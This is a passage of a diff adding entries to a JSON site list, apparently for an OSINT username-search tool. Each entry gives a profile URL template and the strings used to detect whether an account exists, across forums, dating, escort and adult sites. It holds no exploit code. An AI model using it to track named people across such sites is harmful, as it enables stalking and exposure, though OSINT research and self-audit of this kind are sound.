"nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Astrogalaxy", + "url": "https://astrogalaxy.ru/forum/phpBB2/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Atc", + "url": "http://www.atc.az/forum/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Account Suspended" + }, + { + "name": "Atcoder", + "url": "https://atcoder.jp/users/{}", + "category": "tech", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Atlanticcouncil", + "url": "https://www.atlanticcouncil.org/expert/{}/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "atm-club.moy.su", + "url": "http://atm-club.moy.su/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Au", + "url": "https://au.ru/user/{}/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d</title" + }, + { + "name": "Audi-bel", + "url": "http://www.audi-bel.com/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Audiojungle", + "url": "https://audiojungle.net/user/{}", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Aufeminin", + "url": "https://www.aufeminin.com/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Aussiehomebrewer", + "url": "https://aussiehomebrewer.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "aussiehomebrewer.com", + "url": "https://aussiehomebrewer.com/members/{}.1/", + "category": "food", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Austin Escort Models (Austin, TX)", + "url": "https://austinescortmodels.com/model/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "404 not found", + "match_string": "<td>Ethnicity:</td>" + }, + { + "name": "AustralianFrequentflyer", + "url": "https://www.australianfrequentflyer.com.au/community/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "australianfrequentflyer.com.au", + "url": "https://www.australianfrequentflyer.com.au/community//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "author.today", + "url": "https://author.today/u/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "authorSTREAM", + "url": "http://www.authorstream.com/author/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "authorSTREAM", + "url": "http://www.authorstream.com/{}/", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Authorstream", + "url": "https://authorstream.com/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "We apologize for this inconvenience", + "match_string": "subheading" + }, + { + "name": "auto63.ru", + "url": "http://auto63.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "autocb.ucoz.ru", + "url": "http://autocb.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Autofrage", + "url": "https://www.autofrage.net/nutzer/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Autokadabra", + "url": "http://autokadabra.ru/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Autolada", + "url": "https://www.autolada.ru/profile.php?mode=viewprofile&u={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<title> :: AUTOLADA.RU", + "match_string": "postdetails" + }, + { + "name": "Autolenta", + "url": "https://community.autolenta.ru/profile/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "Automania", + "url": "https://automania.ru/author/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Go to the homepage", + "match_string": "\u041f\u043e\u0441\u0442\u044b \u043e\u0442 " + }, + { + "name": "autosila.at.ua", + "url": "http://autosila.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "autotob.ru", + "url": "http://autotob.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "av.3dn.ru", + "url": "http://av.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Ava Escorts (International)", + "url": "https://avaescorts.com/search-results?escort_name={}&agency_id=&escort_type=&root_category=&city_county=Enter+City&age=&hair_color=&languages=&price=&type=&x=0&y=0", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "escorts found (0)", + "match_string": "/>Outcall Only<br" + }, + { + "name": "avangard-basket.at.ua", + "url": "http://avangard-basket.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Avforums", + "url": "https://www.avforums.com/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found." + }, + { + "name": "Avforums", + "url": "https://avforums.com/members/{}", + "category": "forum", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "logged-in to do that" + }, + { + "name": "avia-forum.ucoz.ru", + "url": "http://avia-forum.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "aviabaza-meria.ucoz.ru", + "url": "http://aviabaza-meria.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "aviaforum.ucoz.ru", + "url": "http://aviaforum.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "aviahistory.ucoz.ru", + "url": "http://aviahistory.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "AvidCommunity", + "url": "https://community.avid.com/members/{}/default.aspx", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "User Not Found", + "match_string": "My Announcements" + }, + { + "name": "Avizo", + "url": "https://www.avizo.cz/{}/", + "category": "shopping", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "avon-kiev.at.ua", + "url": "http://avon-kiev.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "avon-registry.com.ua", + "url": "http://avon-registry.com.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Avsim", + "url": "https://www.avsim.com/search/?q={}&quick=1", + "category": "gaming", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "0 results" + }, + { + "name": "avto-box.at.ua", + "url": "http://avto-box.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Avto-forum", + "url": "https://avto-forum.name/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Avto-forum.name", + "url": "https://avto-forum.name/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "avto.dzerghinsk.org", + "url": "http://avto.dzerghinsk.org/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "avtoexamen.com", + "url": "http://avtoexamen.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Avtoforum", + "url": "https://avtoforum.org/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Avtolyubiteli", + "url": "https://forum.avtolyubiteli.com/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Avtomarket", + "url": "https://avtomarket.ru/u/{}/", + "category": "shopping", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u0422\u0430\u043a\u043e\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "AW", + "url": "https://aw.by/forum/profile.php?mode=viewprofile&u={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + }, + { + "name": "awd.ru", + "url": "https://forum.awd.ru/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e.", + "match_string": "\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432 \u043f\u043e\u0438\u0441\u043a\u0430:" + }, + { + "name": "AWS Skills Profile", + "url": "https://skillsprofile.skillbuilder.aws/user/{}/", + "category": "tech", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "shareProfileAccepted\":false" + }, + { + "name": "azhack.ucoz.net", + "url": "http://azhack.ucoz.net/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "azovmore.dn.ua", + "url": "http://azovmore.dn.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "azovmore.ucoz.ru", + "url": "http://azovmore.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "B17", + "url": "https://www.b17.ru/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "babepedia", + "url": "https://www.babepedia.com/user/{}", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "status_code", + "error_code": 404, + "error_string": "Profile not found", + "match_code": 200, + "match_string": "'s Page" + }, + { + "name": "Babepedia", + "url": "https://babepedia.com/user/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": true, + "error_type": "message", + "match_string": "Username:" + }, + { + "name": "Babepedia", + "url": "https://www.babepedia.com/babe/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "Sorry, she wasn't found in our database.", + "match_string": ">Add to favorites" + }, + { + "name": "BabesDirectory", + "url": "https://babesdirectory.online/profile/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "Babe not found 404", + "match_string": "BIO, Wiki, News" + }, + { + "name": "Babestation Cams (performer)", + "url": "https://babestationcams.com/performer/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "<title>Not Found", + "match_string": "Babestation Cams" + }, + { + "name": "Baby", + "url": "https://forum.baby.ru/u/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Baby", + "url": "https://baby.ru/u/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "error404", + "match_string": "user-header" + }, + { + "name": "Baby.ru", + "url": "https://www.baby.ru/u/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "error-page__title", + "match_string": "user-name" + }, + { + "name": "Babyblog", + "url": "https://babyblog.ru/user/info/{}", + "category": "news", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "diary-header" + }, + { + "name": "Babyblog", + "url": "https://www.babyblog.ru/user/info/{}", + "category": "news", + "source": "nexfil", + "nsfw": false + }, + { + "name": "BabyBlog.ru", + "url": "https://www.babyblog.ru/user/{}", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Babyboom", + "url": "https://www.babyboom.pl/forum/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "babyboom.pl", + "url": "http://www.babyboom.pl/forum//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Babycenter", + "url": "https://www.babycenter.in/profile/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "babymama.ucoz.ru", + "url": "http://babymama.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "BabyPips", + "url": "https://forums.babypips.com/u/{}.json", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "The requested URL or resource could not be found", + "match_code": 200, + "match_string": "user_badges" + }, + { + "name": "Babyplan", + "url": "https://www.babyplan.ru/search/?q={}&type=core_members", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "0 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432" + }, + { + "name": "BabyRu", + "url": "https://www.baby.ru/u/{}", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0432\u044b \u0438\u0441\u043a\u0430\u043b\u0438, \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430" + }, + { + "name": "BackdoorSdslabs", + "url": "https://backdoor.sdslabs.co/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "No such user exists" + }, + { + "name": "badoink vr", + "url": "https://badoinkvr.com/vr-pornstar/{}/", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "This page does not exist", + "match_string": "Measurements:" + }, + { + "name": "Badoo", + "url": "https://badoo.com/profile/{}", + "category": "dating", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "baggi.ucoz.ru", + "url": "http://baggi.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bahaipedia", + "url": "https://bahaipedia.org/Wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Bahaipedia", + "url": "https://bahaipedia.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Baidu", + "url": "https://tieba.baidu.com/home/main?un={}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "error_404_iframe", + "match_string": "user_name" + }, + { + "name": "Balancer", + "url": "https://www.balancer.ru/tools/search/result/?q={}r&s=t", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e" + }, + { + "name": "Ballofspray", + "url": "https://www.ballofspray.com/search/?q={}&quick=1&type=core_members", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "0 results" + }, + { + "name": "baltnethub.3dn.ru", + "url": "http://baltnethub.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bandcamp", + "url": "https://www.bandcamp.com/{}", + "category": "music", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bandcamp", + "url": "https://bandcamp.com/{}", + "category": "music", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "

    Sorry, that something isn\u2019t here.

    ", + "match_code": 200, + "match_string": " collection | Bandcamp" + }, + { + "name": "Bandlab", + "url": "https://www.bandlab.com/api/v1.3/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "find any matching element, it might be deleted", + "match_string": "genres" + }, + { + "name": "Bandlab", + "url": "https://bandlab.com/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "profile-header" + }, + { + "name": "banki.ru", + "url": "https://banki.ru/blog/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Baraza_africa", + "url": "https://baraza.africa/u/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "couldnt_find_that_username_or_email" + }, + { + "name": "Barca", + "url": "http://www.barca.ru/forum/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0424\u043e\u0440\u0443\u043c" + }, + { + "name": "Barcamania", + "url": "https://www.barcamania.com/users/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Barnacl", + "url": "https://barnacl.es/u/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "barnaul-forum.ru", + "url": "http://barnaul-forum.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "baseball-reference.com", + "url": "https://baseball-reference.com/bullpen/User:{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Basecamphq", + "url": "https://{}.basecamphq.com/login", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bash", + "url": "https://bash.cyberciti.biz/guide/User:{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "bashtanka.at.ua", + "url": "http://bashtanka.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "bashteplovent.ucoz.ru", + "url": "http://bashteplovent.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Basistar", + "url": "https://basistar.de/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Bassclub", + "url": "https://bassclub.ru/forum/search/?q={}&type=core_members", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "0 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432" + }, + { + "name": "Battlefield", + "url": "https://battlelog.battlefield.com/bf4/ru/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "404" + }, + { + "name": "Battleraprus", + "url": "https://battleraprus.fandom.com/ru/wiki/%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "baykovoshkola.ucoz.ru", + "url": "http://baykovoshkola.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bayoushooter", + "url": "https://www.bayoushooter.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bayoushooter", + "url": "https://bayoushooter.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Baza-knig", + "url": "https://baza-knig.ink/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bazar.cz", + "url": "https://www.bazar.cz/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Bb_chip", + "url": "https://bb.chip.icu/u/{}", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "bbclub.ucoz.ru", + "url": "http://bbclub.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "bbpress.org", + "url": "https://bbpress.org/forums/profile/{}/", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "bbs.evony.com", + "url": "http://bbs.evony.com/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "bbs.huami.com", + "url": "https://bbs.huami.com/home.php?username={}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u63d0\u793a\u4fe1\u606f - huami\u8bba\u575b - Powered by Discuz!" + }, + { + "name": "Bbshave", + "url": "https://bbshave.ru/profile/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442." + }, + { + "name": "bce-tyt.ru", + "url": "http://bce-tyt.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bdoutdoors", + "url": "https://www.bdoutdoors.com/forums/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found" + }, + { + "name": "BDSM Singles", + "url": "https://www.bdsmsingles.com/members/{}", + "category": "dating", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "bdsmsingles.com/?language", + "match_string": "Profile" + }, + { + "name": "BDSMLR", + "url": "https://{}.bdsmlr.com", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "message", + "error_code": 200, + "error_string": "This blog doesn't exist.", + "match_code": 200, + "match_string": "login" + }, + { + "name": "bdsmsingles", + "url": "https://www.bdsmsingles.com/members/{}/", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "status_code", + "error_code": 302, + "error_string": "BDSM Singles", + "match_code": 200, + "match_string": "<title>Profile" + }, + { + "name": "beacons.ai", + "url": "https://beacons.ai/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "https://beacons.ai/bw_logo_full.png", + "match_string": "https://cdn.beacons.ai/profile_pictures" + }, + { + "name": "beatl.ucoz.ru", + "url": "http://beatl.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "BeatStars", + "url": "https://www.beatstars.com/{}", + "category": "music", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Page not found", + "match_string": "Stats" + }, + { + "name": "Beatstars", + "url": "https://beatstars.com/{}", + "category": "music", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "member-profile" + }, + { + "name": "Beautyheaven", + "url": "https://www.beautyheaven.com.au/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Bebee", + "url": "https://us.bebee.com/bee/{}", + "category": "social", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Beeg", + "url": "https://beeg.com/people/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": true, + "error_type": "message", + "match_string": "Suggest Edits" + }, + { + "name": "Beep", + "url": "https://beep.by/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "BEER", + "url": "https://\u0431\u0438\u0440.\u0440\u0444/index/8-0-{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "Beerintheevening", + "url": "http://www.beerintheevening.com/user_profile.shtml?username={}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "User does not exist." + }, + { + "name": "BeerMoneyForum", + "url": "https://www.beermoneyforum.com/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found." + }, + { + "name": "Behance", + "url": "https://www.behance.net/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Behance", + "url": "https://behance.net/{}", + "category": "art", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "Oops! We can\u2019t find that page", + "match_string": "\"name\":\"" + }, + { + "name": "Belmos", + "url": "https://www.belmos.ru/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Bentbox", + "url": "https://bentbox.co/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "This user is currently not available", + "match_string": "id=\"followingUser\"" + }, + { + "name": "Bento", + "url": "https://bento.me/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": ">Available!</div>", + "match_code": 200, + "match_string": "href=\"https://bento.me/explore\"" + }, + { + "name": "berea.ucoz.ru", + "url": "http://berea.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "bestclips.ws", + "url": "http://bestclips.ws/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bestfantasybooks", + "url": "http://bestfantasybooks.com/forums/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found" + }, + { + "name": "Bestweapon", + "url": "https://bestweapon.ru/author.php?author={}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "</script><br><table class='border-blog'><tr><td><div class='avatar'" + }, + { + "name": "Bestweapon", + "url": "https://bestweapon.net/author.php?author={}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "/script><br><table class='border-blog'><tr><td><div" + }, + { + "name": "Beta", + "url": "https://beta.cent.co/{}/", + "category": "other", + "source": "nexfil", + "nsfw": false + }, + { + "name": "Betalist", + "url": "https://betalist.com/@{}", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "betawiki.net", + "url": "https://betawiki.net/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bethepro", + "url": "https://bethepro.com/members/{}/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "beyond3d", + "url": "https://forum.beyond3d.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bezuzyteczna", + "url": "https://bezuzyteczna.pl/uzytkownicy/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bgforum", + "url": "https://bgforum.ru/user/{}/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041e\u0448\u0438\u0431\u043a\u0430 / \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441 